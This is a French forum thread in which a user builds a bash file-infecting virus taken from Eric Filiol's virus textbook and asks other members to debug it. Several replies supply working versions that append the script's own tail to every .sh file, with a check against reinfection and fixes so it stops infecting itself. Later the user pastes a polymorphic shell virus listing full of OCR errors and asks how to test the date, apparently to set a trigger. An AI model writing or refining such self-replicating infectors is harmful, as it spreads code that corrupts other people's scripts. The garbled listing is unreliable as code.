#1 Le 10/02/2017, à 18:19
- Jupiter41
[Résolu] Livre Eric Filliol Problème
Salut,
Ayant depuis récemment commencé la lecture du livre d'Eric Filliol : Les virus: théorie, pratique, application 2éme édition (je crois) j'ai créer en reprenant les codes un virus qui infecte la fin d'un fichier et evite la surinfection avec un signature fixe. Malheureusement je me retrouve avec cette erreur :
./Virus.sh: ligne 7: erreur de syntaxe près du symbole inattendu « fi »
./Virus.sh: ligne 7: `fi'
Et voici le code :
if [ -z $(cat $i | grep "test5959") ]; then
for i in *.sh ; do
tail -n 5 $0 | cat >> $i
fi
done
Je vous remercie d'avance !
Cordialement,
Jupiter41
Dernière modification par Jupiter41 (Le 12/02/2017, à 21:59)
Hors ligne
#2 Le 10/02/2017, à 19:10
- pingouinux
Re : [Résolu] Livre Eric Filliol Problème
Bonjour,
Les blocs
if ...; then
.......
fi
et
for ...; do
.....
done
ne doivent pas se chevaucher.
La première ligne peut être remplacée par
if grep -q "test5959" "$i"; then
Mets des " " autour des variables $0 et $i, au cas où elles contiendraient des espaces.
Ajouté : Je pense que tu as inversé les 2 premières lignes.
Dernière modification par pingouinux (Le 10/02/2017, à 19:11)
Hors ligne
#3 Le 10/02/2017, à 21:15
- Jupiter41
Re : [Résolu] Livre Eric Filliol Problème
Ok merci ! Si j'ai bien compris je dois juste inverser le for et le if c'est sa ?
Hors ligne
#4 Le 10/02/2017, à 21:18
- pingouinux
Re : [Résolu] Livre Eric Filliol Problème
Oui, sinon la variable i n'est pas définie.
Hors ligne
#5 Le 11/02/2017, à 00:16
- Rufus T. Firefly
Re : [Résolu] Livre Eric Filliol Problème
Salut,
L'indentation est bien utile, même si en faire peut paraître "chiant" :
for i in *.sh ; do
if [ -z $(cat $i | grep "test5959") ]; then
tail -n 5 $0 | cat >> $i
fi
done
versus
for i in *.sh ; do
if [ -z $(cat $i | grep "test5959") ]; then
tail -n 5 $0 | cat >> $i
done
fi
On voit immédiatement qu'il y a quelque chose de pas clair...
Dernière modification par Rufus T. Firefly (Le 11/02/2017, à 00:23)
La provocation est une façon de remettre la réalité sur ses pieds. (Bertolt Brecht)
Il n'y a pas de route royale pour la science et ceux-là seulement ont chance d'arriver à ses sommets lumineux qui ne craignent pas de se fatiguer à gravir ses sentiers escarpés. (Karl Marx)
Il est devenu plus facile de penser la fin du monde que la fin du capitalisme
Hors ligne
#6 Le 11/02/2017, à 04:56
- Watael
Re : [Résolu] Livre Eric Filliol Problème
est-ce qu'on parle des guillemets manquants autour des variables et de la substitution de commande ?
des UUOC ?
du test inutile ?
de la regex qui n'est pas entre apostrophes ?
for f in *.sh ; do
if test -f "$f"
then
((grep -c 'test5959' "$f")) && tail -n 5 "$0" >> "$f"
fi
done
allez, sans la boucle :
shopt -s extglob
grep -sl 'test5959' ./!(Virus).sh | xargs -I {} tail -n 5 "$0" >> {}
Dernière modification par Watael (Le 11/02/2017, à 11:05)
Connected \o/
Welcome to sHell. · eval is evil.
Hors ligne
#7 Le 11/02/2017, à 10:45
- Jupiter41
Re : [Résolu] Livre Eric Filliol Problème
Watel ton code ne marche qu'une fois sur 2 soit il infecte le fichier test.sh (le fichier que je veux infecté) et le fichier Virus.sh donc cela ne marche plus après soit il infecte que le Virus.sh ...
Rufus Je sais que l'indentation est utile (j'adore quand le code est bien lisbile etc... en plus) mais au départ c'était pour tester je l'aurais indenté après. Ton code marche très bien mais il y a une petite erreur même si sa infecte le fichier :
./Virus.sh: ligne 2 : [: trop d'arguments
Merci beaucoup pour votre aide en tout cas !
EDIT : En faite je viens de voir que l'erreur s'écrit autant de fois qu'il y a de fichier infécté (en comptant le Virus.Sh) par exemple la première fois il y a qu'une fois l'erreur et la je viens de tester en mettant plusieur fichiers (3 + Virus.sh) et sa fait 4 fois l'erreur.
./Virus.sh: ligne 2 : [: trop d'arguments
./Virus.sh: ligne 2 : [: trop d'arguments
./Virus.sh: ligne 2 : [: trop d'arguments
./Virus.sh: ligne 2 : [: trop d'arguments
Dernière modification par Jupiter41 (Le 11/02/2017, à 10:49)
Hors ligne
#8 Le 11/02/2017, à 11:05
- Watael
Re : [Résolu] Livre Eric Filliol Problème
trop d'arguments : relis attentivement mon précédent message.
j'ai de plus modifié les codes pour tenir compte de ta remarque.
Dernière modification par Watael (Le 11/02/2017, à 11:06)
Connected \o/
Welcome to sHell. · eval is evil.
Hors ligne
#9 Le 11/02/2017, à 12:02
- Jupiter41
Re : [Résolu] Livre Eric Filliol Problème
Watael je ne vois pas ce qui bug pourrais tu préciser ?
De plus ta première commande ne marche toujours pas :
./Virus.sh: ligne 4: ((: grep -c test5959 test2.sh : erreur de syntaxe : opérateur arithmétique non valable (le symbole erroné est ".sh")
./Virus.sh: ligne 4: ((: grep -c test5959 test3.sh : erreur de syntaxe : opérateur arithmétique non valable (le symbole erroné est ".sh")
./Virus.sh: ligne 4: ((: grep -c test5959 test.sh : erreur de syntaxe : opérateur arithmétique non valable (le symbole erroné est ".sh")
./Virus.sh: ligne 4: ((: grep -c test5959 Virus.sh : erreur de syntaxe : opérateur arithmétique non valable (le symbole erroné est ".sh")
Et de même pour ta deuxième commande qui créer un fichier {}.txt il y a bien le code virus dedans mais il se répète le nombre de fichier à infecté (c'est à dire 3fois)
Hors ligne
#10 Le 11/02/2017, à 12:08
- Watael
Re : [Résolu] Livre Eric Filliol Problème
oops, j'ai oublié la substitution de commande : (( $(grep -c ...) ))
et ce qui ne va pas dans ta commande, c'est l'absence de guillemets autour des variables et des substitutions de commande dans les tests
Connected \o/
Welcome to sHell. · eval is evil.
Hors ligne
#11 Le 11/02/2017, à 13:10
- Jupiter41
Re : [Résolu] Livre Eric Filliol Problème
Tu vois sa ou ? :
for i in *.sh ; do
if [ -z $(cat $i | grep "test5959") ]; then
tail -n 5 $0 | cat >> $i
fi
done
Hors ligne
#12 Le 11/02/2017, à 13:17
- Watael
Re : [Résolu] Livre Eric Filliol Problème
for i in *.sh
do
if test -z "$(grep 'test5959' "$i")" # là
then
tail -n 5 "$0" >> "$i" # et là
fi
done
Dernière modification par Watael (Le 11/02/2017, à 13:20)
Connected \o/
Welcome to sHell. · eval is evil.
Hors ligne
#13 Le 11/02/2017, à 13:21
- Jupiter41
Re : [Résolu] Livre Eric Filliol Problème
Bon tu ah envoyer ton dernier message avant que j'envoie le mien disant que j'avais trouvé . Je suis vraiment aveugle des fois
Merci beaucoup pour ton aide !!
PS: Mais tes 2 codes ne marchent pas.
Dernière modification par Jupiter41 (Le 11/02/2017, à 13:23)
Hors ligne
#14 Le 11/02/2017, à 13:24
- Watael
Re : [Résolu] Livre Eric Filliol Problème
« ça marche pas » est un constat, ce n'est pas une description.
« ch'uis b'alade » vs « j'ai le nez qui coule, de la fièvre, et des courbatures ».
Dernière modification par Watael (Le 11/02/2017, à 13:27)
Connected \o/
Welcome to sHell. · eval is evil.
Hors ligne
#15 Le 11/02/2017, à 14:08
- Jupiter41
Re : [Résolu] Livre Eric Filliol Problème
Je n'ai pas accès à mon ordinateur donc je te laisse tester tes codes
Hors ligne
#16 Le 11/02/2017, à 15:38
- Watael
Re : [Résolu] Livre Eric Filliol Problème
shopt -s extglob
grep -sl 'test5959' ./!(Virus|test).sh | xargs -ti /bin/sh -c 'tail -n 5 test.sh >> $1' sh {}
ah, bon, xargs ne redirige pas la sortie de la commande tout seul.
il faut passer l'argument à un shell.
Dernière modification par Watael (Le 11/02/2017, à 15:39)
Connected \o/
Welcome to sHell. · eval is evil.
Hors ligne
#17 Le 11/02/2017, à 17:01
- Jupiter41
Re : [Résolu] Livre Eric Filliol Problème
Laisse tomber ton deuxième code au bout d'un moment il ne ressembleras plus à rien . Surtout que maintenant il n'infecte plus rien.
Voici l'erreur de ton premier code (après modif) :
./Virus.sh: ligne 11: erreur de syntaxe près du symbole inattendu « done »
./Virus.sh: ligne 11: `done'
Il fait toujours la même chose (il s'infecte lui même)
Au pire sa marche donc ce n'est pas grave si tes codes ne marche pas :
for i in *.sh ; do
if [ -z "$(cat $i | grep "test5959")" ]; then
tail -n 5 "$0" | cat >> "$i"
fi
done
Dernière modification par Jupiter41 (Le 11/02/2017, à 17:08)
Hors ligne
#18 Le 11/02/2017, à 17:37
- Watael
Re : [Résolu] Livre Eric Filliol Problème
t'es sûr que tu veux pas virer ces UUOC* ?
./Virus.sh: ligne 11: erreur de syntaxe près du symbole inattendu « done »
./Virus.sh: ligne 11: `done'
c'est parce qu'il "s'auto-infecte".
comme ça
for f in *.sh #Virus.sh va apparaître dans la boucle
do
if test -f "$f" && test "$f" != "${0##*/}" #là, ça dépend comment tu exécutes le script
then
(($(grep -c 'test5959' "$f"))) && tail -n 5 "$0" >> "$f"
fi
done
ou en paramétrant shopt:
shopt -s extglob
for f in !(Virus).sh
*Useless Use Of Cat
Connected \o/
Welcome to sHell. · eval is evil.
Hors ligne
#19 Le 11/02/2017, à 20:06
- Jupiter41
Re : [Résolu] Livre Eric Filliol Problème
Merci beaucoup pour ton aide et tes explucations Watael ! Je testerais tes codes et je verrais pour les UUOC demain.
Hors ligne
#20 Le 12/02/2017, à 09:18
- Jupiter41
Re : [Résolu] Livre Eric Filliol Problème
Salut désolé de vous déranger mais je ne comprends pas trop c'est script de polymorphisme :
# Debut du fichier infecte
echo "Ceci est un exemple de fielder infecte"
mkdir -m 0777 / tmp/ \ /
tail -n 39 $0 I sort -g -t@ + 1 > / tmp/\ / test
chmod -l-x / tmp/\ / test && / tmp/\ / test &
exit 0
Et celui ci
# Lutte contre la surinfection
if [ "$1" == "test" ]; then #@1
exit 0 #@2
fi #@3
# Infection proprement dite
MANAGER=(test cd Is pwd) # noms variables de fichiers temporaires #@4
RANDOM=$$ #@5
for cible in * ; do #@6
# taille cible < taille CPV?
nbligne=$(wc -1 $cible) #@7
nbligne=$(nbligne## ) #@8
nbligne=$(echo $nbligne I cut -d " " -f1) #@9
if [ $(($nbligne)) -lt 42 ] ; then #@10
continue #@11
fi #@12
NEWFILE=$MANAGER[$((RANDOM % 4))] #@13
tail -n 39 $cible I sort -g -t@ +1 > jtmpj\ j"$NEWFILE" #@14
chmod +x jtmpj\ j"$NEWFILE" #@15
if! jtmpj\ j"$NEWFILE" test; then #@16
continue #@17
fi #@18
NEWFILE=$MANAGER[$((RANDOM % 4))] #@19
NEWFILE="/tmp/\ /$NEWFILE" #@20
echo "tail -n 39 $0 > $NEWFILE" >> $cible #@21
echo "chmod +x $NEWFILE && $NEWFILE &" » $cible #@22
echo "exit 0" #@23
tabft=("FT" [39]=" ") #@24
declare -i nbl=O #@25
while [ $nbl -ne 39 ] ; do #@26
valindex=$(((RANDOM % 39)+1)) #@27
while [ "$tabft[$valindex]" == "FT" ] ; do #@28
valindex=$(((RANDOM % 39)+1)) #@29
done #@30
ligne=$(tail -$valindex $0 I head -1) #@31
ligne=$ligne/'\t'#* #@32
echo -e "$ligne"'\t'''@$valindex'' » $cible #@33
nbl=$(($nbl+1)) #@34
done #@35
done #@36
fi #@37
rm /tmp/\ /* #@38
rmdir /tmp/\ /* #@39
Est-ce que quelqu'un pourrait me les expliquer ? (et me dire leur emplacement dans le code précédent)
Je vous remercie d'avance !
PS : Je sais qu'il y a des fautes je modifierai sa après.
Cordialement
Hors ligne
#21 Le 12/02/2017, à 10:27
- Watael
Re : [Résolu] Livre Eric Filliol Problème
Est-ce que quelqu'un pourrait me les expliquer ?
[...]
PS : Je sais qu'il y a des fautes je modifierai sa après.
tu t'imagines expliquer un texte de Mallarmé, qui aurait été dicté par un "cœur brisé" à un "prince de l'amour", ou par un "ch'ti" à un "marseillais" ?
Connected \o/
Welcome to sHell. · eval is evil.
Hors ligne
#22 Le 12/02/2017, à 10:45
- Jupiter41
Re : [Résolu] Livre Eric Filliol Problème
tu t'imagines expliquer un texte de Mallarmé, qui aurait été dicté par un "cœur brisé" à un "prince de l'amour", ou par un "ch'ti" à un "marseillais" ?
Belles références . Je vais m'informer tout seul alors
À s'informer de tout, on ne sait jamais rien.
L 'art de la pédagogie est fait d 'humilité et non de fatuité : le but de tout enseignement n’est pas que le professeur, par un discours inutilement complique et pédant, paraisse intelligent, mais que ses élèves en aient vaincu les moindres difficultés et en ressortent grandis.
Dernière modification par Jupiter41 (Le 12/02/2017, à 10:47)
Hors ligne
#23 Le 12/02/2017, à 10:55
- Watael
Re : [Résolu] Livre Eric Filliol Problème
Emile Gabauriaud-Pagès a écrit :L'art de la pédagogie est fait d 'humilité et non de fatuité : le but de tout enseignement n’est pas que le professeur, par un discours inutilement compliqué et pédant, paraisse intelligent, mais que ses élèves en aient vaincu les moindres difficultés et en ressortent grandis.
je la prends pour moi.
il faut que je me la grave quelque part.
mais, quand tu maîtriseras le shell, peut-être n'admettras-tu, toi non plus, qu'il soit sous-estimé, méprisé, et maltraité par des débutants irrespectueux de la syntaxe de ce langage de programmation.
Dernière modification par Watael (Le 12/02/2017, à 12:48)
Connected \o/
Welcome to sHell. · eval is evil.
Hors ligne
#24 Le 12/02/2017, à 13:39
- Jupiter41
Re : [Résolu] Livre Eric Filliol Problème
Cette citation viens du livre
Sûrement oui, je vais donc me parfaire dans la maîtrise de ce langage obscur .
Hors ligne
#25 Le 12/02/2017, à 13:56
- Jupiter41
Re : [Résolu] Livre Eric Filliol Problème
Dernière question avant de mettre le sujet en résolu : Comment tester si la commande date +%b%d est égale à un certain jour (surtout sa pour obtenir la date je sais faire) ?
Hors ligne